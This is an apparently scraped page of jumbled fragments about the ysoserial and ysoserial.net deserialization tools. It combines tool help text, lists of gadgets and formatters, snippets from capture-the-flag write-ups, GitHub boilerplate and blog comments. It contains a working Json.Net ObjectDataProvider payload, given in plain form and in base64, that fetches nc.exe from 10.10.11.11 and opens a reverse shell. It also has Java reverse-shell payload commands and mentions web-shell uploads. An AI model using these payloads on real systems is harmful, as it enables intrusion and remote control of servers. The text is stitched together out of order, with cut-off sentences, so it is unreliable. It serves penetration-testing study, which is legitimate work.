--credit Shows the credit/history of gadgets and plugins Default: false This blog post details a pre-authentication deserialization exploit in MuleSoft Runtime prior to version 3.8. A Shell Code is a piece of code that is directly executed by the computer. There are ways around this protection, but they are beyond the scope of this article. }, PowerShell says “execution of scripts is disabled on this system.” 1215. they're used to log you in. very Helpful. SharePoint (Generates poayloads for the following SharePoint CVEs: CVE-2019-0604, CVE-2018-8421) Available gadgets: Introduction On February 11th, Microsoft released a patch for Microsoft Exchange Server (all versions), addressing a serious vulnerability allowing any authenticated user to execute arbitrary commands with SYSTEM privileges. BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter Use Git or checkout with SVN using the web URL. The Java deserialization issue has been known in the security community for a few years. In this blog post, Sanjay talks of various test cases to exploit ASP.NET ViewState deserialization using Blacklist3r and YSoSerial.Net. SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class) After getting a shell I could either get a quick SYSTEM shell by abusing SeImpersonatePrivileges with Juicy Potato or reverse the Sync2FTP application to decrypt its configuration and find the superadmin user credentials. BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method) GitHub is home to over 50 million developers working together to host and review code, manage projects, and build software together. Json is a medium level windows box, which requires us to brush up our skills from the all time favorite web security standard, i.e., OWASP Top 10. Blacklist3r is used to identify the use of pre-shared (pre-published) keys in the application for encryption and decryption of forms authentication cookie, ViewState, etc. If nothing happens, download the GitHub extension for Visual Studio and try again. Great!! they're used to gather information about the pages you visit and how many clicks you need to accomplish a task. Shells in Your Serial - Exploiting Java Deserialization on JBoss Background I read a fantastic write-up by Stephen Breen of FoxGlove Security earlier this month describing a vulnerability, present in several common Java libraries, related to the deserialization of user input. "MethodParameters":{ Arkham was a medium difficulty box that shows how Java deserialization can be used by attackers to get remote code execution. Formatters: 3) Generate your payload with the following snippet on the windows machine in the folder containing ysoserial.exe (replace the collaborator link with your link or your webserver): CVE-2020-7247 exploit: LPE and RCE in OpenBSD’s OpenSMTPD, CVE-2019-10149 exploit: local privilege escalation on Debian GNU/Linux via Exim, Android OkHttp3 4.2+ certificate pinning bypass for Frida and Brida, iOS 13 certificate pinning bypass for Frida and Brida, Universal Android SSL Pinning bypass with Frida, Find hidden friends and communities for any Facebook user, java -jar ysoserial-fd-0.0.6.jar CommonsCollections1 “echo AAA > a.txt”, java -jar ysoserial-fd-0.0.6.jar Jdk7u21 10000, java -jar ysoserial-fd-0.0.6.jar CommonsCollections2 “127.0.0.1:8888”, java -jar ysoserial-fd-0.0.6.jar Spring1 “. remote exploit for Windows platform I will try to maintain the fork aligned with ysoserial codebase. BinaryFormatter, DataContractSerializer, Json.Net, NetDataContractSerializer, SoapFormatter, Available plugins: -s, --stdin The command to be executed will be read from How to get a password from a shell script without echoing. gadgets and their formatters (other parameters "$values":["cmd", "/c curl http://10.10.11.11/nc.exe -o nc.exe & nc.exe 10.10.11.11 4444 -e cmd.exe"] ysoserial.net for Windows execute file. Formatters: CVE-2019-16112 . (experimental). ActivitySurrogateSelector (This gadget ignores the command parameter and executes the constructor of ExploitClass class.) Arkham. Formatters: 10/08/2019. ViewState (Generates a ViewState using known MachineKey parameters). "$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35", Blacklist3r is used to identify the use of pre-shared (pre-published) keys in the application for encryption and decryption of forms authentication cookie, ViewState, etc. ysoserial.net generates deserialization payloads for a variety of .NET formatters. Resx (Generates RESX files) Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll'.) Learn more. TypeConfuseDelegate (TypeConfuseDelegate gadget) download the GitHub extension for Visual Studio. PSObject (PSObject gadget. -g, --gadget=VALUE The gadget chain. TextFormattingRunProperties (TextFormattingRunProperties gadget) 7 Comments → Get Reverse-shell via Windows one-liner. ASP.NET web applications use ViewState in order to maintain a page state and persist data in a web form. SessionSecurityToken (SessionSecurityTokenGenerator gadget) Staying with the defaults, this command will translate to the following request: What we get back is a HtmlWebResponseObjectin a nicely formatted way, displaying everything from (parts) of the body, response headers, length, etc. During a recent Web Application penetration test, Tevora observed some interesting headers being returned within the application data flow. A reverse shell in Powershell. This is possible because all Exchange servers use the same static key to encrypt/decrypt ViewState. WindowsClaimsIdentity (WindowsClaimsIdentity (Microsoft.IdentityModel.Claims namespace) gadget) Ysoserial reverse shell. Use it at your own risk and if you doubt on some behaviors try also with the original ysoserial. Formatters: Formatters: Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection) Reply ↓ Tarling paadees August 3, 2019 at 2:39 pm. TypeConfuseDelegateMono (TypeConfuseDelegate gadget - Tweaked to work with Mono) The box has the following attack path: BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter Let’s store the response in a variable to be able to access the individual parts: BinaryFormatter, LosFormatter, ObjectStateFormatter, SoapFormatter Thanks for sharing. Ysoserial reverse shell. LetMeHID! }, ysoserial.exe -g ObjectDataProvider -f Json.Net -c "curl http://10.10.11.11/nc.exe -o nc.exe & nc.exe 10.10.11.11 4444 -e cmd.exe" -o base64, ewogICAgIiR0eXBlIjoiU3lzdGVtLldpbmRvd3MuRGF0YS5PYmplY3REYXRhUHJvdmlkZXIsIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUiLCAKICAgICJNZXRob2ROYW1lIjoiU3RhcnQiLAogICAgIk1ldGhvZFBhcmFtZXRlcnMiOnsKICAgICAgICAiJHR5cGUiOiJTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiLAogICAgICAgICIkdmFsdWVzIjpbImNtZCIsICIvYyBjdXJsIGh0dHA6Ly8xMC4xMC4xMS4xMS9uYy5leGUgLW8gbmMuZXhlICYgbmMuZXhlIDEwLjEwLjExLjExIDQ0NDQgLWUgY21kLmV4ZSJdCiAgICB9LAogICAgIk9iamVjdEluc3RhbmNlIjp7IiR0eXBlIjoiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkifQp9. The next step is to go back to the ysoserial generated payload and add a command that downloads the PS reverse shell script and runs it. # java -jar ysoserial. This parameter is deserialised on the server-side to retrieve the data. At this point I had a way to generate a functional exploit and continued on my engagement. We discussed an interesting case of pre-published Machine keys, leading The gained shell is called the reverse shell which could be used by an attacker as a root user and the attacker could do anything out of it. Windows Vista and Windows 7 implement a protection called ASLR which results in certain DLLs (particularly Windows system DLLs) being loaded at randomised base locations, meaning that instructions within those DLLs will be at different memory addresses after a system restart. Initialize socket library with WSAStartup call Create socket Connect socket to a remote port Start cmd.exe with redirected streams Formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter Lazy Hacker March 13, 2019 at 6:38 pm. Metasploit Framework. You signed in with another tab or window. Ysoserial is great because it contains a wide array of payloads, but I didn’t really have any way of knowing which one to use. argument). These payloads are generated with a customized version of Chris Frohoff ‘s ysoserial, which I have now decided to publish because maybe can be useful to other pentesters. For more information, see our Privacy Statement. An extract of the help menu of the modified ysoserial: Copyright © 2000-2020 @Mediaservice.net S.r.l. Usage: ysoserial.exe [options] Using a Windows shell as opposed to a Meterpreter shell ensures that the data sent back and forth via http (requests 83 onwards) is in plain text format. Learn more, We use analytics cookies to understand how you use our websites so we can make them better, e.g. -p, --plugin=VALUE The plugin to be used. Docker for Windows comes as a 64bit installation package for Windows 10 and above. During the years many people ask to me the code I used to generate payloads of Java Deserialization Scanner. To get remote code execution on JSON, I exploited a deserialization vulnerability in the web application using the Json.net formatter. Learn more. Options: "$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", TylerTech Eagle 2018.3.11 - Remote Code Execution. -h, --help Shows this message and exit. I don’t guarantee at all the absence of bugs in this fork! Arkham is a pretty difficult box for being ranked as medium. We discussed an interesting case of pre-publishedRead more Work fast with our official CLI. The headers contained a character sequence that should raise an immediate red flag to pentesters: WindowsIdentity (WindowsIdentity gadget) ysoserial.exe -h webapps exploit for Java platform A pop up message will be appeared like this: ActivitySurrogateDisableTypeCheck (Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored.) Red Teaming with P4wnP1 A.L.O.A. https://github.com/federicodotta/ysoserial, https://github.com/federicodotta/ysoserial/releases, Reliable discovery and exploitation of Java deserialization vulnerabilities, Detection payload for the new Struts REST vulnerability (CVE-2017-9805). The toughest part is achieving access to the system via a Java deserialization vulnerability where the vulnerable object should be encrypted to make it work. We use optional third-party analytics cookies to understand how you use GitHub.com so we can build better products. Millions of developers and companies build, ship, and maintain their software on GitHub — the largest and most advanced development platform in the world. 1020. ApplicationTrust (Generates XML payload for the ApplicationTrust class) Search in all formatters to show relevant -c, --command=VALUE The command to be executed. 1434. standard input. Formatters: ActivatorUrl (Sends a generated payload to an activated, presumably remote, object) -f, --formatter=VALUE The formatter. Upload a web-shell into the first folder as shown below: Right click on the first folder that contains the web shell and click the “Move Folder” option. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Formatters: In this blog post, Sanjay talks of various test cases to exploit ASP.NET ViewState deserialization using Blacklist3r and YSoSerial.Net. The vulnerability was given CVE number CVE-2020-0688. ObjectDataProvider (ObjectDataProvider gadget) You can print the errors and standard output to a single file by using the "&1" command to redirect the output for STDERR to STDOUT and then sending the output from STDOUT to a file: We use optional third-party analytics cookies to understand how you use GitHub.com so we can build better products. --rawcmd Command will be executed as is without cmd /c . Finally, I integrated the code of the following useful ysoserial pull requests not (already) merged with the main repository: The fork should be compatible with tools that use ysoserial (without supplying the addition arguments default to “exec_global”, ysoserial default behavior). These plain text messages will be allowed through the proxy, as opposed to binary data which will get blocked. BinaryFormatter, DataContractSerializer, Json.Net, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter Reply ↓ Tarling paadees August 3, 2019 at 2:39 pm. we can use the ysoserial project to create payload easily, gradle will open a socket and wait for a client to send serialized data. DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822) This is a quick-and-dirty modifications and all the “test” features of ysoserial have not been tested! Learn more. ActivitySurrogateSelectorFromFile (Another variant of the ActivitySurrogateSelector gadget. In order to use this code, contents of a web shell file can be base-64 encoded and stored in the webshellContentsBase64 parameter. I quickly spun up a Windows 10 64bit virtual machine for testing purposes. -o, --output=VALUE The output format (raw|base64). ysoserial.exe -g ObjectDataProvider -f Json.Net -c "curl http://10.10.11.11/nc.exe -o nc.exe & nc.exe 10.10.11.11 4444 -e cmd.exe", { 308. My forked version initially outputted DNS and TIME attack vectors in addiction to the classical EXEC ones. BinaryFormatter, LosFormatter, NetDataContractSerializer, ObjectStateFormatter, SoapFormatter "ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"} If nothing happens, download Xcode and try again. java -jar ysoserial-fd-0.0.6.jar CommonsCollections2 “127.0.0.1:8888” reverse_shell; java -jar ysoserial-fd-0.0.6.jar Spring1 “yourcollaboratorpayload.burpcollaborator.net” dns gzip,ascii_hex; I published the code on GitHub in my ysoserial fork. Great stuff. "MethodName":"Start", Contribute to NHPT/ysoserial.net development by creating an account on GitHub. being appended (anything after first space is an During the years I added other features to the tool, like OS-specific EXEC attack vectors (generic ones is limited on the allowed chars) and output processing functions to transform/compress/encode the output of ysoserial (supports multiple transformations comma-separated). will be ignored). -t, --test Whether to run payload locally. Excelent Stuff! Reply ↓ Yuri August 31, 2019 at 6:45 pm. (other parameters will be ignored). Great. Taken directly from the docker site: An integrated, easy-to-deploy development environment for building, debugging and testing Docker apps on a Windows PC. Test if remote TCP port is open from a shell script. Metasploit contributor L-Codes submitted a pull request expanding Metasploit’s native ysoserial integration with support for the forked ysoserial-modified tool, which adds native support for Windows command (“cmd”) shell, Windows PowerShell, and Linux bash payloads. Default: raw Lucky for me, a blog post I found on /r/netsec detailed a scenario that was extremely similar to mine. After some trial and error, and a nudge from pwntester, I was able to create a reliable exploit by generating a payload with ysoserial.net using the ObjectStateFormatter as part of the TypeConfuseDelegate gadget and dropping the base64 output into the wrapper used by the Zealot campaign. For now, I will not execute a pull request to the main ysoserial repository because some of my changes can’t be applied to all the ysoserial plugins: they require the execution of arbitrary Java code and many plugins execute other tasks (file upload, execution of EL expressions, …). Formatters: In these situations, obviously, the modified version can execute the original ysoserial payload (all original features should work correctly), but I think that the author prefers to keep the tool clean without adding code not applicable to entire payload set (looking at the open/close pull requests). Some examples of ysoserial commands are the following (detailed instructions can be found on the repository of the tool): I published the code on GitHub in my ysoserial fork. I will try to maintain the fork aligned with ysoserial codebase. I'd suggest reproducing this … BinaryFormatter, DataContractSerializer, Json.Net, NetDataContractSerializer, SoapFormatter His post goes fairly in depth into how the vulnerability works, If nothing happens, download GitHub Desktop and try again. After finding the JSF viewstates encryption key in a LUKS encrypted file partition, I created a Java deserialization payload using ysoserial to upload netcat and get a shell.